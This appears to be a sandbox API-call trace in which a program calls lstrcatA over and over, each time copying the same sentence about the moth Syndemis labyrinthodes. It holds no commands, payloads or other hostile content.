[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.762] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.763] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.764] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.765] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
